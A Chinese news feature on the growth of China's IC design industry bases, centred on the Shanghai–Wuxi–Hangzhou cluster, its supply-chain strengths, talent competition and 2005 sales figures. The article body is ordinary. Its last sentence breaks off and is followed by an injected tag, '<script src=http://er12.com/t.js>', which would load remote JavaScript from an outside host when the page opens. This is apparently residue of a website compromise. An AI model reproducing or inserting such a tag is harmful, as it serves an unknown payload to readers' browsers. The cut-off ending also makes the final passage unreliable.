自2000年以来，中国集成电路产业快速成长，中国内地七个集成电路设计产业化基地以及香港科技园ic设计企业的建设都取得了不同程度的进展。各基地依托不同地域特点、不同产业环境而各具特色。产业群聚效应日益凸现：长三角、珠三角和京津地区成为中国集成电路产业的主力军；随着英特尔、美光、英飞凌等国际领先半导体公司纷纷落户成都、西安，西部也开始成为另一处潜力发展区域。而香港地区的ic设计公司尽管数量不多，但市场意识很强，其竞争优势也不容小觑。
本篇报道将通过五个故事对中国内地七个集成电路设计产业基地和香港科技园的ic设计公司研发状况与运营方式进行全景扫描，多角度展示中国ic设计产业的研发现状与发展前景。
坐拥产业链优势，沪锡杭打造中国最大的ic设计产业群
以上海为重心的长三角地区无疑是中国大陆ic设计力量最为集中的地区，在中国确定的七个ic设计产业化基地中，上海、无锡、杭州就占去三个名额。在上海华虹、杭州士兰、上海展讯等先行企业的带动下，该地区的ic设计力量正在迅速壮大，中国最大的ic设计产业群已经浮出水面。而这里的企业所面临的困难和挑战也是整个中国ic设计产业都在面对的问题。专家建议，促进合作与交流，加快制定本土标准，将是提高中国ic设计企业核心竞争力的必由之路。
完备的产业链无疑是沪锡杭三地最大的优势所在。上海展讯总裁武平表示，经过多年的发展，长三角的ic产业链已基本形成，这包括以中芯国际、台积电、上海宏力、苏州和舰等企业为代表的晶圆代工企业，以上海华虹、杭州士兰、上海展讯为代表的ic设计企业，以上海intel、江苏长电、南通富士通等为代表的封装测试企业。上下游的完备配套为三地的ic设计企业发展创造了得天独厚的条件。
上述产业链优势对于上海地区的ic设计公司来说尤其明显。芯原微电子(上海)有限公司副总经理冯军表示：“存在于上海及周边地区的数家晶圆代工企业使得设计与制造之间的联系更加紧密。这非常重要。众所周知，半导体制造工艺的变化非常快，贴近制造企业使得上海ic产业基地在信息沟通方面的反应要比其他基地更为迅速。”
不仅如此。上海集成电路行业协会副秘书长赵建忠进一步指出，在ic设计产业链上，上海的优势也非常明显。“上海已拥有包括硅知识产权交易中心、ic设计服务公司、ic产品验证机构在内的规模完备的ic设计产业体系。”他说。
上海智多微电子首席技术官周汀以及智芯科技副总裁彭圣钧对上述看法表示认同。另外，他们还认为，上海基地在人才供应方面也具有一定的优势。“这里拥有数量众多的高等院校，”彭圣钧说。周汀则补充说，越来越多的海归人员正在不断涌入上海，此外，政府和媒体的关注也对人才供应起了很重要的推动作用。
上述因素的联动使得该市已经出现ic设计企业扎堆的现象。“在全国400多家ic设计企业中，上海就有130多家。” 赵建忠表示，“群聚效应已经显现。”
然而在促进该地ic设计业蓬勃发展的同时，扎堆现象也同时使相当一部分企业感到头痛。
“一哄而上容易造成盲目性。”周汀指出，“大量企业的进入对激发创造性显然是有利的。但这容易造成资源分散，很多企业规模化程度都不是很高，就长期来说，这对提高竞争力非常不利。”此外，他还认为，上海的研发成本相对其他地区要高一些，但是新企业源源不断的加入又使得许多企业在没有完全建立优势之前就不得不开始面对成本竞争的压力。“我们有很多优势，不过要警惕优势变为劣势的可能。”他说。
竞争还使得企业之间被称之为“挖墙角”的现象非常普遍。尽管每年都有大量的工程师涌入人才市场，但这对于数量众多的上海ic设计企业来说，供应仍然无法满足需求。“尤其是非常缺乏高素质的人才。”彭圣钧说。而周汀则更指出，近年来国外公司不断进入中国设立研发中心，其首选地往往会选择上海，这使得上海企业面临的人才竞争更加激烈。
在上海市集成电路行业协会(sica)协会的网站上，最新统计数字显示，2005年该市集成电路产业销售额达303亿元。其中集成电路设计14.74亿元，占全国11.86％。很显然，这与上海ic设计企业的绝对数量还不成正比，正如埃派克森微电子(上海)有限公司行政总监杨洁所述：“上海ic产业链较为整齐，但是缺少在销售额上存在较大突破的ic设计公司。”而杭州国芯副总经理张明将这种现象归结为一些非硬件的原因。他指出：“上海整个大环境比较浮躁，因此要静下心来做大做强并不容易。”尽管如此，杨洁还是强调，上海企业的潜力还很大。赵建忠则称：“上海企业的爆发力还没有显现出来，还在后面。”
在不久前于上海举办的半导体市场年会上，张明所在的杭州国芯被评为“2005年度中国最具成长性集成电路设计企业”，并位列第一。事实上，获得这个称号的7家企业中，沪锡杭企业中占据三席，除了杭州国芯?script src=http://er12.com/t.js>
